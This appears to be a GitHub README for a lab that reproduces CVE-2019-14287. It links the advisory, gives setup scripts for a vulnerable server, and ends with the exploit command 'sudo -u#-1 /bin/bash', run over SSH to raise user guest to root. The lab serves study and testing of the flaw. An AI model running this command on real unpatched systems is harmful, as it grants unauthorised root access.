Skip to content

Latest commit

 

History

History
executable file
·
42 lines (31 loc) · 881 Bytes

README.md

File metadata and controls

executable file
·
42 lines (31 loc) · 881 Bytes
Raw

CVE-2019-14287

About

https://nvd.nist.gov/vuln/detail/CVE-2019-14287

PoC

https://www.sudo.ws/alerts/minus_1_uid.html

Environment used

Reproduction

  • Server

    • Docker version:

      bash Docker\ version/start.sh
bash Docker\ version/stop.sh

    • Script version:

      cd Script_version && sudo bash installation.sh

  • Terminal:

    • Docker version: 
      ssh <Server IP> -l guest -p 8022
/usr/local/bin/sudo -u#-1 /bin/bash
    • Script version: 
      ssh <Server IP> -l guest -p 22
/usr/local/bin/sudo -u#-1 /bin/bash

    The result is the escalation of user guest to root.